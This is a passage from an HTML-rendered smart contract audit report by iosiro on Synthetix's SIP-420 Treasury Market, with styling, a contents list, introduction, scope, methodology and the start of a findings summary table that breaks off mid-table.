<style>
@import url(https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;600;700&display=swap);@import url('https://fonts.googleapis.com/css2?family=Source Code Pro:wght@400;500;600;700&display=swap');.codequality td{min-width:10em;} ul{opacity:1;}table{border:none !important;}a,code,pre,tt{overflow-wrap:break-word;word-wrap:break-word}.chroma .lntable,.chroma .lntd{margin:0;border:0;padding:0}pre,table{width:100%}.findings-count td,.findings-count th,.rating-critical,.rating-high,.rating-informational,.rating-low,.rating-medium,.status-closed,.status-open,.status-resolved{text-align:center}.rating-critical,.rating-high,.rating-informational,.rating-low,.rating-medium,.status-closed,.status-open,.status-resolved,a,h1,h2,h3{font-weight:500}:root{--color-link:#f66263;--color-heading:#f66263;--color-codeblock:#f5f2f0;--color-codeblock-border:#f5f2f0;--color-critical:#cc7ab9;--color-high:#ff6263;--color-medium:#f68463;--color-low:#f6b263;--color-informational:#6ba2f6;--color-open:#f6d263;--color-closed:#b6b6b6;--color-resolved:#9fbf9f;--size-200:0.694rem;--size-300:0.833rem;--size-400:1rem;--size-500:1.2rem;--size-600:1.44rem;--size-700:1.728rem;--size-800:2.074rem;--size-900:2.488rem}.report-container{color:#222;font-family:Montserrat,sans-serif;line-height:1.6;margin:1rem;font-size:var(--size-400)}a{color:var(--color-link)}@media screen and (min-width:1600px){.report-main{display:grid;grid-gap:1em}.toc{grid-column:1;max-width:30em}.frontpage-logo,.frontpage-subtitle,.frontpage-title,.report{grid-column:2}}@media screen and (max-width:1599px){ .report-main{ margin: 0 auto;max-width:70em} }h1,h2,h3,h4,h5,h6{margin-bottom:0}.toc>ul>li>a,dt,h4,h5,h6,table th{font-weight:600}h1,h2{color:var(--color-heading)}h3,h4,h5,h6{color:#444 !important}h1{font-size:var(--size-800)}h2{font-size:var(--size-700)}h3{font-size:var(--size-600) } .audit-text-formatting .report-main h3{font-size:var(--size-600) }h4{font-size:var(--size-500)}h1 strong,h2 strong,h3 strong,h4 strong{font-weight:400;font-size:.7em;font-family:"Source Code Pro",monospace}h2 strong::after{content:"\a";white-space:pre}code,pre,tt{font-family:"Source Code Pro",monospace,sans-serif;background-color:var(--color-codeblock);white-space:pre-wrap}code,tt{padding:1px 3px;border-radius:2px}pre{box-sizing:border-box;padding:10px;overflow:auto;word-break:break-all}pre code,tt{font-size:inherit;background:0 0;border:none;padding:0}.findings code,h2 code{background-color:inherit;border-width:0}@media screen and (min-width:600px){dl{display:grid;grid-gap:0.5em}dt{grid-column:1}dd{grid-column:2}}@media screen and (max-width:599px){dl{display:block}}table{background-color:inherit;max-width:100%;min-width:100%;border:none;font-size:.9em}table thead th{border-bottom:2px solid #222}table td,table th{text-align:left;border:none}table,td,th{border-collapse:collapse}.findings-count thead tr th:first-of-type{border-style:none}.findings-count tbody td:first-child{text-align:right;width:6em;padding-right:.75em;border-right:2px solid #222;font-weight:600}.findings-count td:nth-child(2),.rating-critical{background-color:var(--color-critical)}.findings-count td:nth-child(3),.rating-high{background-color:var(--color-high)}.findings-count td:nth-child(4),.rating-medium{background-color:var(--color-medium)}.findings-count td:nth-child(5),.rating-low{background-color:var(--color-low)}.findings-count td:nth-child(6),.rating-informational{background-color:var(--color-informational)}.status-open{background-color:var(--color-open)}.status-closed{background-color:var(--color-closed)}.status-resolved{background-color:var(--color-resolved)}.findings td:first-of-type{white-space:nowrap;word-break:keep-all;font-family:"Source Code Pro",monospace;vertical-align:top}.findings td:nth-of-type(2){vertical-align:bottom}@media screen{.audit-header,.report{max-width:65rem}h1{margin-top:3em}h2{margin-top:2em}table th{padding:6px}table td{padding:8px 6px}.findings td:nth-of-type(2){min-width:2em}}.metadata td:last-of-type{background-color:#eee}.metadata td:first-of-type,.metadata td:nth-of-type(2){width:8em}.toc ul{list-style:none;margin-left:0;padding-left:0}.toc li ul{margin-left:3em}.toc{counter-reset:tocSectionCounter}.toc>ul>li::before{content:counter(tocSectionCounter) ". ";font-weight:600;padding-right:4px}.toc>ul>li{counter-increment:tocSectionCounter}.report{counter-reset:sectionCounter}.report h1::before{content:counter(sectionCounter) ". ";font-weight:400;padding-right:6px}.report h1{counter-increment:sectionCounter}hr{display:none}@media print{.landing-header{display:none}.toc li a,h1,h2{color:#222}dd,dt{margin:.2em 0;break-inside:avoid}dl,pre{page-break-inside:auto;break-inside:auto}dd,dt,pre{padding:0}.toc li a,.toc li a::after,pre{background-color:#fff}td{min-width:2em}pre,td{word-break:break-word}h1,h2{margin-top:0}#document-control,.break-before,h1,hr{page-break-before:always}h1{font-size:18pt}h2{font-size:16pt}h3{font-size:14pt}.frontpage-subtitle,h4{font-size:12pt}.toc,p,ul,ol,dl{font-size:11pt}summary{list-style:none;font-size:1.1em;margin-bottom:1em}.toc{background:0 0;max-width:100%;counter-reset:page;line-height:1.6}.toc li a::after{content:target-counter(attr(href),page);float:right;position:absolute;right:0;padding-left:3px}.toc li ul{margin-left:1.5em}.toc li{overflow-x:hidden;max-width:98.5%;text-align:left}.toc li ul li::after{content:".............................................." ".............................................." ".............................................." "........";float:left;width:0;letter-spacing:6px}footer,header{display:none}dd,li,p,p *{text-align:justify}dl{width:100%;display:flex;flex-wrap:wrap}dt{flex:1;min-width:30%}dd{flex:1;min-width:65%}.frontpage-logo{margin-top:75mm;width:65mm;padding-bottom:1cm}.report-container{height:auto}pre{display:inline;font-size:.9em}pre:first-child,pre:last-child{padding:0;margin:0;background-color:#fff}pre *{white-space:pre-wrap;background-color:var(--color-codeblock);padding:1px;word-wrap:normal}.findings td{max-width:20em;overflow-wrap:break-word;text-wrap:balance}.frontpage-title{font-size:20pt;font-weight:700}.frontpage-subtitle{page-break-after:always;}.metadata td{padding:.3em}td{padding:4px}}.page-header{margin-top:-1cm;opacity:.8;position:running(pageHeaderRunning)}.page-header svg{width:34mm}@media screen{.page-header,.frontpage-subtitle,.frontpage-title,.frontpage-logo{display:none}.frontpage-subtitle,.frontpage-title{text-align:center}.frontpage-logo{width:10em;padding-bottom:.5em;margin-left:auto;margin-right:auto}.frontpage-title{font-size:var(--size-900);font-weight:700}.frontpage-subtitle{font-size:var(--size-500)}}@page{size:A4;margin:2cm 1.6cm;bleed:6mm}@page{@bottom-center{content:"𝗣𝗨𝗕𝗟𝗜𝗖 \A hello@iosiro.com";white-space:pre;color:#b7b7b7;font-size:9pt;font-family:Montserrat,sans-serif}@bottom-right-corner{content:counter(page);font-size:9pt}@top-center{content:element(pageHeaderRunning)}}@page:first{text-align:center;@top-center{content:none}@bottom-right-corner{content:none}}.chroma .lnlinks,a{text-decoration:none}.chroma .lntd,.codequality td{vertical-align:top;font-size:.9em}.chroma .ge,.chroma .sd{font-style:italic}.chroma .gh,.chroma .gp,.chroma .gs,.chroma .gu,.chroma .nc,.chroma .nd,.chroma .ni,.chroma .nl,.chroma .nn,.chroma .nt,.chroma .se,summary{font-weight:700}.bg,.chroma{background-color:var(--color-codeblock)}.chroma .lnlinks{outline:0;color:inherit}.chroma .lntable{border-spacing:0}.chroma .hl{background-color:#d8d8d8}.chroma .ln,.chroma .lnt{white-space:pre;-webkit-user-select:none;user-select:none;margin-right:.4em;padding:0 .4em;color:#7f7f7f}.chroma .line{display:flex}.chroma .k,.chroma .kc,.chroma .kd,.chroma .kn,.chroma .kr,.chroma .ow{color:#007020;font-weight:700}.chroma .cp,.chroma .cpf,.chroma .kp,.chroma .nb,.chroma .ne{color:#007020}.chroma .kt{color:#902000}.chroma .dl,.chroma .na,.chroma .s,.chroma .s1,.chroma .s2,.chroma .sa,.chroma .sb,.chroma .sc,.chroma .sd,.chroma .se,.chroma .sh{color:#4070a0}.chroma .nc,.chroma .nn{color:#0e84b5}.chroma .no{color:#60add5}.chroma .nd{color:#555}.chroma .ni{color:#d55537}.chroma .nf{color:#06287e}.chroma .nl{color:#002070}.chroma .nt{color:#062873}.chroma .nv{color:#bb60d5}.chroma .si{color:#70a0d0}.chroma .gp,.chroma .sx{color:#c65d09}.chroma .sr{color:#235388}.chroma .ss{color:#517918}.chroma .il,.chroma .m,.chroma .mb,.chroma .mf,.chroma .mh,.chroma .mi,.chroma .mo{color:#40a070}.chroma .o{color:#666}.chroma .c,.chroma .c1,.chroma .ch,.chroma .cm{color:#60a0b0;font-style:italic}.chroma .cs{color:#60a0b0;background-color:#fff0f0}.chroma .gd{color:#a00000}.chroma .gr{color:red}.chroma .gh{color:navy}.chroma .gi{color:#00a000}.chroma .go{color:#888}.chroma .gu{color:purple}.chroma .gt{color:#04d}.chroma .gl{text-decoration:underline}.chroma .w{color:#bbb}.container{max-width:100%}
</style>
<div class="report-container">
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" style="display:none;">
<defs>
<symbol id="iosiro-logo" viewBox="0 0 1233 312" preserveAspectRatio="xMidYMid meet">
<g fill="#061f45">
<path d="M171.5 300.6 c-3.9 -1.7 -9.5 -4.6 -12.5 -6.5 -5.1 -3.2 -21 -15 -21 -15.6 0 -0.2 6.1 -3.5 13.5 -7.4 7.4 -3.8 17.2 -9.6 21.8 -12.7 11.1 -7.7 24.4 -21.3 29 -29.5 8.2 -14.7 9.4 -21.4 11.2 -62 1.5 -36.7 3 -46.9 8.5 -62.1 10.1 -27.6 28.2 -43.3 68 -58.8 20.3 -8 31.8 -14.8 42.4 -25.2 l8.9 -8.8 -0.7 5.7 c-1.1 9.2 -4.7 15.7 -13.4 24.2 -9.3 9.1 -20.2 16 -49.9 31.5 -22.9 12 -27 14.8 -33.3 22.7 -8.4 10.6 -10.6 21.1 -12.5 59.2 -1.6 32.3 -2.4 39.8 -5.6 52.7 -7.4 29.9 -24.7 52.9 -51.2 68.2 l-7.7 4.4 6.4 3.6 6.4 3.5 7.9 -4.1 c4.3 -2.2 11.7 -6.7 16.5 -9.9 9.8 -6.6 30.5 -26 40.1 -37.5 8.9 -10.6 21.7 -30.5 28 -43.3 l5.2 -10.7 9.5 -4.5 c5.2 -2.5 9.6 -4.4 9.9 -4.2 1.6 1.7 -13.3 32.8 -22.4 46.7 -22.3 34 -54.5 62.6 -91.3 81.2 l-4.7 2.4 -7 -3.2z"></path>
<path d="M582.1 272 c-19.3 -4.1 -31.7 -11.4 -45.4 -26.8 -14.2 -16 -19.7 -31.4 -19.7 -55.5 0.1 -22.2 4.9 -36.2 17.4 -50.9 9.3 -10.9 16.1 -16.5 25.8 -21.4 14.5 -7.3 21.7 -8.9 39.8 -8.9 18.3 0 23.5 1.2 38.5 8.5 20.6 10 36.7 29.7 43.1 53 2.6 9.2 2.5 31.8 0 41.4 -7.3 27.2 -27.1 48.7 -53 57.3 -10.6 3.4 -11.8 3.6 -26.6 3.9 -8.5 0.2 -17.5 -0.1 -19.9 -0.6z m31 -31.4 c13.1 -2.8 21.4 -9.3 27.7 -21.3 5.1 -10 6.6 -16.5 6.5 -28.8 0 -22.7 -9.7 -39.6 -26.9 -46.9 -5.9 -2.5 -8.5 -3 -17.7 -3.4 -6.4 -0.3 -12.7 0.1 -15.5 0.8 -25.7 6.4 -40 33.3 -33.7 63.5 2.9 13.8 10.9 25.6 21.7 31.9 8.6 5 25.2 6.9 37.9 4.2z"></path>
<path d="M754 271.9 c-11.5 -3.2 -17.4 -6.4 -24.9 -13.9 -6.6 -6.6 -12.6 -14.9 -14.6 -20.1 -0.5 -1.4 2.3 -3.1 14.1 -8.8 8.1 -3.9 14.9 -7 15 -6.8 0.2 0.2 2.1 3 4.3 6.4 4.7 7.3 9 10.7 15.4 12.4 5.8 1.4 14.3 0.7 18.7 -1.6 6.2 -3.2 8.8 -14 5.1 -21.4 -3.4 -6.6 -9.5 -10.9 -28.6 -20.2 -21.5 -10.4 -27.5 -15.1 -32.7 -25.7 -3.1 -6.3 -3.3 -7.2 -3.3 -17.7 0.1 -9.1 0.5 -12 2.4 -16.8 5.3 -13.4 16.5 -23.3 31.5 -27.9 5.6 -1.7 8.6 -2 16.7 -1.6 8.9 0.4 10.7 0.9 17.4 4.2 8.9 4.4 17.2 12.1 20.9 19.4 1.4 2.8 2.6 5.6 2.6 6.1 0 0.9 -27.9 15.6 -28.4 14.9 -0.2 -0.2 -1.4 -2 -2.8 -4.1 -5.3 -7.9 -13.3 -11.2 -20.2 -8.3 -4 1.7 -7.6 6.8 -7.6 10.9 0 6.9 5.4 11.8 20.3 18.4 18 7.9 32.9 16.8 39.6 23.4 1.8 1.9 4.7 6.3 6.4 9.9 2.7 5.6 3.2 7.9 3.5 16.2 0.5 11.8 -1.7 20.3 -7.6 29.3 -7.6 11.7 -18.3 19.3 -32.2 23 -6.2 1.7 -25.4 1.9 -31 0.4z"></path>
<path d="M1118 271 c-17.1 -4.3 -27.7 -10.6 -40.6 -24.3 -5.2 -5.4 -8.2 -9.8 -12.2 -17.7 -6.9 -13.9 -8.4 -19.7 -8.9 -36 -0.6 -16.4 0.9 -24.3 6.6 -36.6 5.5 -11.7 11.7 -20 20.5 -27.7 9.2 -8.1 17.3 -12.6 29.6 -16.8 8 -2.7 11.4 -3.3 21.9 -3.7 17.7 -0.7 28.4 1.5 43.8 9 9.7 4.7 14.7 8.7 24 19.1 14.8 16.5 19.6 29.6 19.7 54.2 0 12.8 -0.3 16.2 -2.3 23.5 -3.4 12.4 -9.3 23 -18 32.2 -12.8 13.7 -23.3 19.9 -41 24.4 -12.1 3.1 -31.5 3.3 -43.1 0.4z m32.9 -30.1 c8.9 -1.6 14.3 -4.2 21.1 -10.5 10.4 -9.7 15.3 -22.3 15.3 -39.4 0 -22.3 -9.5 -39.2 -26.6 -47.1 -6.5 -3 -8.3 -3.3 -18.3 -3.7 -17 -0.7 -27.7 3.1 -37.1 13.1 -8.5 8.9 -13.3 22.2 -13.3 36.8 -0.1 36.5 23.6 56.8 58.9 50.8z"></path>
<path d="M116.7 259.8 c-21.5 -21.4 -40.1 -47.4 -49.3 -69 -1.9 -4.5 -3.3 -8.2 -3.2 -8.3 0.2 -0.2 6.4 1.9 13.8 4.6 39.7 14.5 52.8 20.7 56.3 26.6 2.3 4 2.4 9.6 0.2 14.8 l-1.8 4 -1.2 -4.8 c-1.6 -6.3 -7.9 -12.8 -16.1 -16.7 -5.8 -2.8 -22.3 -7.4 -23.2 -6.5 -0.8 0.7 20.8 30.1 29.1 39.6 l4.9 5.6 7.6 -4.1 c16.5 -8.9 28.7 -25.3 31.8 -42.6 3.5 -20.6 -2.9 -41.1 -18.1 -56.9 -12.9 -13.5 -24.5 -20.2 -49.7 -28.9 -17.7 -6.1 -23.4 -8.5 -31.3 -13.1 -20.4 -11.6 -34.4 -28.2 -39 -46.2 -2 -7.5 -2 -20.9 -0.2 -28.9 l1.3 -5.5 0.8 6.5 c2.4 21.7 11.4 39 26.7 51.6 9.4 7.7 18.7 12.1 44.4 20.9 58.6 20.2 75.6 34.1 85.1 69.2 3.7 13.8 4 33.3 0.6 44.1 -6.8 21.5 -25.1 39.9 -49.2 49.4 -11.5 4.6 -9.9 5 -20.3 -5.4z"></path>
<path d="M441 190.5 l0 -78.5 17.5 0 17.5 0 0 78.5 0 78.5 -17.5 0 -17.5 0 0 -78.5z"></path>
<path d="M858 190.5 l0 -78.5 18 0 18 0 0 78.5 0 78.5 -18 0 -18 0 0 -78.5z"></path>
<path d="M942 190.5 l0 -78.5 18 0 18 0 0 7.1 0 7.2 4.5 -4.2 c6.7 -6.2 15.9 -11.7 21.6 -13.1 8.5 -2.1 21 -0.8 29.9 2.9 4.1 1.7 8.1 3.5 8.8 4 1.1 0.6 -0.4 4.3 -6.3 16.2 -4.3 8.5 -7.9 15.6 -8.1 15.8 -0.2 0.2 -3.2 -0.9 -6.6 -2.5 -5.3 -2.4 -7.6 -2.9 -14.3 -2.9 -7 0 -8.7 0.4 -13.4 3 -6.6 3.7 -10.4 8.2 -13.3 16 -2.3 5.9 -2.3 6.9 -2.6 56.8 l-0.3 50.7 -17.9 0 -18 0 0 -78.5z"></path>
<path d="M145 191.5 c-7.1 -7.2 -17 -14 -29.8 -20.4 -10.1 -5.1 -33.5 -13.6 -44.2 -16.1 -13.5 -3.2 -32.8 -13.7 -42 -23 -6.9 -6.8 -13.5 -17.3 -16.6 -26.6 -2.3 -6.6 -2.7 -9.7 -2.8 -18.9 -0.1 -11.4 1.1 -23.2 2.2 -22 0.4 0.3 1.4 4.6 2.3 9.4 3.6 18.6 10.6 32 23.8 45.2 11.8 11.7 18.1 15.2 39.9 21.9 25.8 8 39.3 14.5 53.6 26.1 10 8 20.9 24.4 19.4 28.9 -0.2 0.6 -2.8 -1.5 -5.8 -4.5z"></path>
<path d="M240 182.6 c0 -2.9 4.2 -12.6 7.5 -17.1 7.7 -10.9 17.3 -18.4 40 -31.2 18.3 -10.3 23.6 -14.3 37.8 -28.2 l11.7 -11.6 0 3.5 c0 10 -5.7 21.6 -15.1 31.1 -7.3 7.4 -13.7 11.2 -32.1 19.3 -21.6 9.6 -32.7 16.6 -43 27.4 -3.8 3.8 -6.8 6.9 -6.8 6.8z"></path>
<path d="M244 145.8 c0 -3.2 4.3 -15.5 7.8 -22.2 4.1 -7.9 14.2 -18.7 22.2 -23.8 3 -2 11.6 -6.7 19 -10.7 16.7 -8.8 31.3 -19.6 44.9 -33.2 l10.4 -10.3 -0.6 4.2 c-3.3 20.1 -19.8 37.3 -50.7 52.7 -6.3 3.2 -14 7.5 -17.2 9.6 -5.9 4 -25.8 23.1 -32.2 30.8 -2.1 2.6 -3.6 3.8 -3.6 2.9z"></path>
<path d="M182.1 139.6 c-6.5 -8.4 -21.1 -21.9 -26.3 -24.3 -4.1 -2 -5 -3 -8.2 -9.6 -5 -10.4 -15.6 -21.6 -24.4 -25.9 -6.4 -3.1 -7.3 -3.3 -18.3 -3.3 -13.8 0 -15.9 1 -15.9 7.8 0 3.6 -0.2 3.8 -1.7 2.6 -3 -2.5 -7.3 -10.2 -7.3 -13.2 0 -9.4 12.7 -18.9 29.4 -21.8 5.5 -1 8.2 -2.1 12.1 -5.1 7.3 -5.6 13.7 -7.2 26.5 -6.6 13.4 0.7 20.2 3 46.3 15.4 22.9 11 24.1 11.5 28.5 12.3 l3.2 0.6 -3.6 5 c-9.8 13.7 -18.1 38.4 -19.6 58.5 -0.5 5.9 -2.8 -13.8 -2.8 -23.7 0 -9.8 1.9 -21.5 4.4 -27.5 0.9 -2.1 1.6 -4 1.6 -4.3 0 -0.2 -4.2 -2.4 -9.2 -4.8 -5.1 -2.4 -13.3 -7 -18.3 -10.1 -15.3 -9.7 -33.9 -13.8 -42 -9.4 l-3 1.6 5 0.7 c6.9 0.9 18.2 4.3 19.1 5.7 0.5 0.8 0.1 0.9 -1.1 0.4 -1.1 -0.4 -10.7 -1 -21.4 -1.3 -21 -0.6 -29.5 0.3 -32.5 3.6 -1.6 1.7 -1.3 1.8 5.3 2.5 13.2 1.2 28 7.2 39.8 16 11.7 8.9 21.8 21.8 30.1 38.7 4.1 8.5 9.7 23.8 8.9 24.5 -0.2 0.3 -2.3 -2 -4.6 -5z"></path>
<path d="M57.1 65.6 l-6.4 -6.4 2.9 -12.2 2.9 -12.3 11 -3.9 c56.8 -20.4 121.7 -24.1 184 -10.6 12 2.6 32.2 8.6 36.2 10.7 0.7 0.4 -3.1 2.5 -8.8 5 l-10 4.4 -7.4 -2.2 c-10.1 -2.9 -23.7 -5.6 -38.6 -7.7 -16.6 -2.4 -59.3 -2.4 -79.4 0 -26.3 3 -71.7 12.6 -73.4 15.5 -0.4 0.6 -1.8 6.8 -3.1 13.6 -1.3 6.9 -2.6 12.5 -3 12.5 -0.3 0 -3.4 -2.9 -6.9 -6.4z"></path>
<path d="M449.3 66.9 c-12.3 -6.1 -17 -20.9 -10.4 -32.4 5.2 -9 12.9 -12.5 24.6 -11 6.5 0.8 11.1 4.1 14.9 10.9 11 19 -9.7 42.1 -29.1 32.5z"></path>
<path d="M867.5 67.2 c-5 -2.3 -10.3 -7.6 -12.1 -11.9 -1.8 -4.3 -1.8 -15.2 0.1 -19.6 2.2 -5.4 9.8 -11.5 15.2 -12.3 6.4 -0.9 13.9 0.2 17.9 2.7 7.6 4.7 12.7 16.5 10.5 24.5 -1.5 5.4 -6.1 11.7 -11.2 15.1 -5.4 3.6 -14.5 4.3 -20.4 1.5z"></path>
</g>
</symbol>
</defs>
<use href="#iosiro-logo"></use>
</svg>
<div class="page-header" id="page-header">
<svg version="1.0">
<use href="#iosiro-logo"></use>
</svg>
</div>
<main class="report-main">
<svg version="1.0" class="frontpage-logo">
<use href="#iosiro-logo"></use>
</svg>
<div class="frontpage-title">SIP-420: Treasury Market</div>
<div class="frontpage-subtitle">Synthetix, 6 October 2025</div>
<nav class="toc">
<h1>Contents</h1>
<ul>
<li>
<a href="#introduction">Introduction</a></li>
<li>
<a href="#disclaimer">Disclaimer</a></li>
<li>
<a href="#methodology">Methodology</a></li>
<li>
<a href="#audit-findings">Audit findings</a><ul>
<li>
<a href="#io-sip420-001-atomic-liquidations-excess-artificial-debt">IO-SIP420-001 Atomic liquidations: excess artificial debt</a></li>
<li>
<a href="#io-sip420-002-debt-write-off-using-unsaddle">IO-SIP420-002 Debt write-off using unsaddle</a></li>
<li>
<a href="#io-sip420-003-migration-of-saddled-accounts">IO-SIP420-003 Migration of saddled accounts</a></li>
<li>
<a href="#io-sip420-004-unfair-loans">IO-SIP420-004 Unfair loans</a></li>
<li>
<a href="#io-sip420-025-incorrect-for-loop-conditions">IO-SIP420-025 Incorrect for loop conditions</a></li>
<li>
<a href="#io-sip420-026-incorrect-loan-reset">IO-SIP420-026 Incorrect loan reset</a></li>
<li>
<a href="#io-sip420-027-rewards-increase-market-withdrawable-usd">IO-SIP420-027 Rewards increase market withdrawable USD</a></li>
<li>
<a href="#io-sip420-005-incorrect-collateralization-ratio-check">IO-SIP420-005 Incorrect collateralization ratio check</a></li>
<li>
<a href="#io-sip420-006-initial-delegation-race-condition">IO-SIP420-006 Initial delegation race condition</a></li>
<li>
<a href="#io-sip420-028-loan-info-not-committed-to-storage">IO-SIP420-028 Loan info not committed to storage</a></li>
<li>
<a href="#io-sip420-007-pool-collateral-limits-not-checked">IO-SIP420-007 Pool collateral limits not checked</a></li>
<li>
<a href="#io-sip420-008-arithmetic-simplification">IO-SIP420-008 Arithmetic simplification</a></li>
<li>
<a href="#io-sip420-009-separation-of-concerns">IO-SIP420-009 Separation of concerns</a></li>
<li>
<a href="#io-sip420-010-large-accounts-cannot-unsaddle">IO-SIP420-010 Large accounts cannot unsaddle</a></li>
<li>
<a href="#io-sip420-011-treasury-can-mint-more-than-target-c-ratio">IO-SIP420-011 Treasury can mint more than target C-ratio</a></li>
<li>
<a href="#io-sip420-012-last-account-unable-to-unsaddle">IO-SIP420-012 Last account unable to unsaddle</a></li>
<li>
<a href="#io-sip420-013-incorrect-target-debt">IO-SIP420-013 Incorrect target debt</a></li>
<li>
<a href="#io-sip420-014-missing-validation">IO-SIP420-014 Missing validation</a></li>
<li>
<a href="#io-sip420-029-deposit-rewards-not-nullified">IO-SIP420-029 Deposit rewards not nullified</a></li>
<li>
<a href="#io-sip420-030-auxtokeninfo-not-cleared-on-unsaddle">IO-SIP420-030 AuxTokenInfo not cleared on unsaddle</a></li>
<li>
<a href="#io-sip420-031-vested-rewards-dos">IO-SIP420-031 Vested rewards DoS</a></li>
<li>
<a href="#io-sip420-032-zero-duration-rewards">IO-SIP420-032 Zero duration rewards</a></li>
</ul>
</li>
<li>
<a href="#code-quality-improvement-suggestions">Code quality improvement suggestions</a><ul>
<li>
<a href="#client-response-22">Client response</a></li>
</ul>
</li>
<li>
<a href="#specification">Specification</a><ul>
<li>
<a href="#saddling-unsaddling--debt-decay">Saddling, unsaddling & debt decay</a></li>
<li>
<a href="#treasury-yield">Treasury yield</a></li>
<li>
<a href="#deposit-rewards">Deposit rewards</a></li>
</ul>
</li>
<li>
<a href="#test-coverage-report">Test coverage report</a></li>
</ul>
</nav>
<article class="report">
<h1 id="introduction">Introduction</h1>
<p>iosiro was commissioned by Synthetix to perform a smart contract audit of the code changes made to implement SIP-420, which introduced a new Treasury Market and delegation migration functionality. The audit was conducted in several phases between the 22nd of January and the 21st of May 2025. In total, the audit spanned over 29 audit days.</p>
<h4 id="overview">Overview</h4>
<p>SIP-420 introduces a new Treasury Market that enables delegators to the Treasury Pool to saddle their accounts, allowing the protocol to manage their debt and generate yield. Functionality was added to the core system to simplify the process for existing stakers to migrate their delegation to the Treasury Pool and participate in this new market. Any existing debt migrated to the pool will be converted to a loan that decays over time. Delegators wishing to exit the pool must repay any outstanding loans and will be charged an additional early-exit penalty.</p>
<p>During the audit, several high-risk scenarios were identified that could result in accounts being liquidated or allow malicious users to bypass the loan functionality and have their debt written off.</p>
<p>Various low-risk issues, design considerations, and gas optimizations were also identified and reported.</p>
<p>All high-, medium-, and low-risk issues were addressed by the audit's conclusion.</p>
<p>The table below shows the reported findings' status at the assessment's conclusion.</p>
<table class="findings-count">
<thead>
<tr>
<th> </th>
<th>Critical</th>
<th>High</th>
<th>Medium</th>
<th>Low</th>
<th>Informational</th>
</tr>
</thead>
<tbody>
<tr>
<td>Open</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Resolved</td>
<td>0</td>
<td>5</td>
<td>2</td>
<td>9</td>
<td>12</td>
</tr>
<tr>
<td>Closed</td>
<td>0</td>
<td>2</td>
<td>1</td>
<td>3</td>
<td>5</td>
</tr>
</tbody>
</table>
<h4 id="scope">Scope</h4>
<p>The assessment focused on source file listed below, with all other files considered out of scope. Any out-of-scope code interacting with the assessed code was presumed to operate correctly without introducing functional or security vulnerabilities.</p>
<ul>
<li><strong>Project name:</strong> <code>synthetix-v3</code></li>
<li><strong>Initial audit commit:</strong> <a href="https://github.com/Synthetixio/synthetix-v3/tree/704fa04bc036245fd41fdfe65d92fe5deaf67c9d"><code>704fa04</code></a></li>
<li><strong>Final review commit:</strong> <a href="https://github.com/Synthetixio/synthetix-v3/tree/c46a3ed1ba28241d77315cc185a73ca738b8e814"><code>c46a3ed</code></a></li>
<li><strong>Files:</strong> TreasuryMarket.sol, TreasuryStakingRewards.sol, InitialModuleBundle.sol, SynthetixTreasuryProxy.sol</li>
</ul>
<p>A specification is available in the <a href="#specification">Specification section</a> of this report.</p>
<h1 id="disclaimer">Disclaimer</h1>
<p>This report aims to provide an overview of the assessed smart contracts' risk exposure and a guide to improving their security posture by addressing identified issues. The audit, limited to specific source code at the time of review, sought to:</p>
<ul>
<li>Identify potential security flaws.</li>
<li>Verify that the smart contracts' functionality aligns with their documentation.</li>
</ul>
<p>Off-chain components, such as backend web application code, keeper functionality, and deployment scripts were explicitly not in-scope of this audit.</p>
<p>Given the unregulated nature and ease of cryptocurrency transfers, operations involving these assets face a high risk from cyber attacks. Maintaining the highest security level is crucial, necessitating a proactive and adaptive approach that accounts for the experimental and rapidly evolving nature of blockchain technology. To encourage secure code development, developers should:</p>
<ul>
<li>Integrate security throughout the development lifecycle.</li>
<li>Employ defensive programming to mitigate the risks posed by unexpected events.</li>
<li>Adhere to current best practices wherever possible.</li>
</ul>
<h1 id="methodology">Methodology</h1>
<p>The audit was conducted using the techniques described below.</p>
<dl>
<dt>Code review</dt>
<dd>The source code was manually inspected to identify potential security flaws. Code review is a useful approach for detecting security flaws, discrepancies between the specification and implementation, design improvements, and high-risk areas of the system.</dd>
<dt>Dynamic analysis</dt>
<dd>The contracts were compiled, deployed, and tested in a test environment, both manually and through the test suite provided. Dynamic analysis was used to identify additional edge cases, confirm that the code was functional, and to validate the reported issues.</dd>
<dt>Automated analysis</dt>
<dd>Automated tooling was used to detect the presence of various types of security vulnerabilities. Static analysis results were reviewed manually and any false positives were removed. Any true positive results are included in this report.</dd>
</dl>
<h1 id="audit-findings">Audit findings</h1>
<p>The table below provides an overview of the audit's findings. Detailed write-ups are provided below.</p>
<table class="findings">
<thead>
<tr>
<th>ID</th>
<th>Issue</th>
<th>Risk</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="#IO-SIP420-001">IO-SIP420-001</a></td>
<td>Atomic liquidations: excess artificial debt</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-002">IO-SIP420-002</a></td>
<td>Debt write-off using unsaddle</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-003">IO-SIP420-003</a></td>
<td>Migration of saddled accounts</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-004">IO-SIP420-010</a></td>
<td>Unfair loans</td>
<td class="rating-high">High</td>
<td class="status-closed">Closed</td>
</tr>
<tr>
<td><a href="#IO-SIP420-025">IO-SIP420-025</a></td>
<td>Incorrect for loop conditions</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-026">IO-SIP420-026</a></td>
<td>Incorrect loan reset</td>
<td class="rating-high">High</td>
<td class="status-closed">Closed</td>
</tr>
<tr>
<td><a href="#IO-SIP420-027">IO-SIP420-027</a></td>
<td>Rewards increase market withdrawable USD</td>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-005">IO-SIP420-004</a></td>
<td>Incorrect collateralization ratio check</td>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-006">IO-SIP420-005</a></td>
<td>Initial delegation race condition</td>
<td class="rating-medium">Medium</td>
<td class="status-closed">Closed</td>
</tr>
<tr>
<td><a href="#IO-SIP420-028">IO-SIP420-028</a></td>
<td>Loan info not committed to storage</td>
<td class="rating-medium">Medium</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
